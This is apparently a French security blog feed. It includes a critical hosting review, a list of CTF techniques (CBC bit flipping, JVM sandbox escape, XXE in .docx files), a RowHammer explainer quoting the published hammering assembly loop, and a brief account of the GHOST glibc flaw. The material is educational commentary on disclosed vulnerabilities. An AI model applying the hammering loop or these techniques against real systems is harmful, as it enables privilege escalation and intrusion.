<p>J'avais déjà avancé de l'argent sur leur service, il me restait aux alentours de 40 euros, c'est pourquoi j'ai décidé de changer de prestation vers un hébergement mutualisé, la suite vous la connaissez...</p>
<p>Si je devais choisir un point positif chez PulseHeberg cela serait les tickets au support, auxquels on reçoit une réponse dans un temps record, environ une quinzaine de minutes, j'ai toujours eu l'impression que le support prenait vraiment mon problème à cœur.</p>
<p>Malgré un support à l'écoute ainsi que des prix défiants toute concurrence, leurs compétences gâchent totalement le service.</p>
<p>On comprend bien qu'ils essaient de faire de leur mieux, en revanche, comme vous vous en doutez, je ne vous conseille pas cet hébergeur, sauf si vous ne vous intéressez pas à la sécurité de votre site.</p>
<p>Voilà, c’est déjà terminé, n’hésitez pas à commenter cet article ainsi qu'à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique. </p>
<p>Geluchat.</p>BCTF, 0CTF et BackDoorCTF2015-04-03T21:16:00+02:002015-04-03T21:16:00+02:00Geluchattag:www.dailysecurity.fr,2015-04-03:/bctf-0ctf-backdoorctf<p>J'ai récemment participé au BCTF, au 0CTF ainsi qu'au BackDoorCTF.</p>
<p>À cette occasion, j'ai appris de nouvelles failles, notamment de la
cryptographie, une méthode d'escape de sandbox Java et une autre forme
de XXE.</p>
<p>Si vous souhaitez vous renseigner sur ces techniques je vous en fais une
petite liste:</p>
<ul>
<li>Le …</li></ul><p>J'ai récemment participé au BCTF, au 0CTF ainsi qu'au BackDoorCTF.</p>
<p>À cette occasion, j'ai appris de nouvelles failles, notamment de la
cryptographie, une méthode d'escape de sandbox Java et une autre forme
de XXE.</p>
<p>Si vous souhaitez vous renseigner sur ces techniques je vous en fais une
petite liste:</p>
<ul>
<li>Le Bit Flipping: Une manière d'altérer un cookie peu protégé par un
chiffrement CBC.<br>
Plus d'informations
<a href="https://github.com/smokeleeteveryday/CTF_WRITEUPS/blob/master/2015/CODEGATE/web/owltube/README.md">ici</a>
ou encore
<a href="http://www.pwntester.com/blog/2015/03/30/0ctf-2015-mislead-web-300/">ici</a></li>
<li>Le <a href="http://clojure.org/">clojure</a>, une sorte de langage natif
interprété à l’intérieur de la JVM.<br>
Très utile lors des
<a href="https://github.com/ctfs/write-ups-2015/tree/master/backdoor-ctf-2015/exploit/noname">escapes</a>
de sandbox</li>
<li>Les XXE into <em>.docx</em><br>
En effet, les parsers de <em>.docx</em> sont sensibles au XXE comme le
montre le challenge
<a href="http://www.pwntester.com/blog/2015/03/30/0ctf-2015-golden-mac-1-web-300/">GoldenMac</a>
du 0CTF</li>
</ul>
<p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon
<a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site
et mon point de vue sur l’actualité de la sécurité informatique.<br>
Geluchat.</p>La vulnérabilité RowHammer2015-03-17T11:48:00+01:002015-03-17T11:48:00+01:00Geluchattag:www.dailysecurity.fr,2015-03-17:/rowhammer<p>Voici déjà une semaine que cette
<a href="http://googleprojectzero.blogspot.in/2015/03/exploiting-dram-rowhammer-bug-to-gain.html">vulnérabilité</a>
fait parler d'elle, elle permet une élévation de privilège d'une manière
très étonnante.</p>
<h3>Le concept</h3>
<p>Elle repose sur une erreur de conception matérielle de certaines
barrettes de DRAM (Dynamic Random Access Memory).</p>
<p>Il y a dans ces dernières des millions de condensateurs très …</p><p>Voici déjà une semaine que cette
<a href="http://googleprojectzero.blogspot.in/2015/03/exploiting-dram-rowhammer-bug-to-gain.html">vulnérabilité</a>
fait parler d'elle, elle permet une élévation de privilège d'une manière
très étonnante.</p>
<h3>Le concept</h3>
<p>Elle repose sur une erreur de conception matérielle de certaines
barrettes de DRAM (Dynamic Random Access Memory).</p>
<p>Il y a dans ces dernières des millions de condensateurs très proches les
uns des autres.</p>
<p>Ainsi, lorsque l'on modifie un bit, il y a des chances pour que les
condensateurs adjacents soient modifiés, on appelle ça du 'Bit
flipping' </p>
<p>Plus précisément, l'exploit fonctionne sur le principe suivant:</p>
<p>On cherche à modifier des bits de la mémoire qui ne nous appartiennent
pas.<br>
Pour cela, on utilise une technique dite RowHammer ("Martellement de
colonne") qui consiste à lire un bit sur une colonne puis à vider sa
cellule et on répète en boucle.</p>
<div class="highlight"><pre><span></span><code><span class="nl">code1a:</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="p">(</span><span class="no">X</span><span class="p">),</span><span class="w"> </span><span class="nv">%eax</span><span class="w"> </span><span class="c1">; Read from address X</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="p">(</span><span class="no">Y</span><span class="p">),</span><span class="w"> </span><span class="nv">%ebx</span><span class="w"> </span><span class="c1">; Read from address Y</span>
<span class="w"> </span><span class="nf">clflush</span><span class="w"> </span><span class="p">(</span><span class="no">X</span><span class="p">)</span><span class="w"> </span><span class="c1">; Flush cache for address X</span>
<span class="w"> </span><span class="nf">clflush</span><span class="w"> </span><span class="p">(</span><span class="no">Y</span><span class="p">)</span><span class="w"> </span><span class="c1">; Flush cache for address Y</span>
<span class="w"> </span><span class="nf">jmp</span><span class="w"> </span><span class="no">code1a</span><span class="w"></span>
</code></pre></div>
<p>Poussé à l’extrême, cela mène à une élévation de privilèges</p>
<h3>Mon avis, les conséquences futurs</h3>
<p>J'aime beaucoup les failles liées à un vrai défaut technique et matériel de la part du concepteur.</p>
<p>Pour moi, ces vulnérabilités d'un type novateur n'annoncent que les prémisses d'une refonte du concept même des architectures modernes et des matériaux utilisés.</p>Introduction et présentation de la faille GHOST2015-02-27T20:04:00+01:002015-02-27T20:04:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-27:/faille-ghost<p>Cet article sert d'introduction à la partie actualité commentée du site.</p>
<p>Celle-ci sera composée de nouveautés liées aux différentes CVE actuelles ou encore sur des événements de type Capture The Flag qui comporteraient des éléments intéressants.</p>
<p>Ayant manqué la faille GHOST (CVE-2015-0235) qui est apparue pendant la création de ce …</p><p>Cet article sert d'introduction à la partie actualité commentée du site.</p>
<p>Celle-ci sera composée de nouveautés liées aux différentes CVE actuelles ou encore sur des événements de type Capture The Flag qui comporteraient des éléments intéressants.</p>
<p>Ayant manqué la faille GHOST (CVE-2015-0235) qui est apparue pendant la création de ce site, je ne saurais que vous conseiller de lire les différents documents disponibles sur le net.</p>
<p>Pour ceux qui ne connaitraient pas cette faille ou qui ne se seraient pas penchés sur le sujet je vais vous faire une courte description de la faille.</p>
<p>La faille GHOST, qui tient son nom de la fonction gethostbyname(), est présente dans la version 2.2 de glibc et permet de gagner un accès shell à une machine distante.</p>
<p>Il faut savoir que cette faille a été patchée en mai 2013 mais n'a pas été prise en compte par les nouvelles distributions qui n'ont pas associé la mise à jour à un danger.</p>
<p>On peut y compter Centos, Fedora ainsi que Ubuntu.</p>
<p>Elle consiste en l'exploitation d'un Heap Overflow complexe car il permet de réécrire la mémoire uniquement avec des nombres et des points.</p>
<p>Néanmoins, plusieurs exploits ont vu le jour et touchent des programmes importants tels que Apache, Nginx, Mysql ou encore SendMail (EDIT: non exploitable pour ces deux derniers).</p>
<p>Pour plus d'informations, l'excellent <a href="http://www.openwall.com/lists/oss-security/2015/01/27/9">PoC</a> de Qualys Security</p>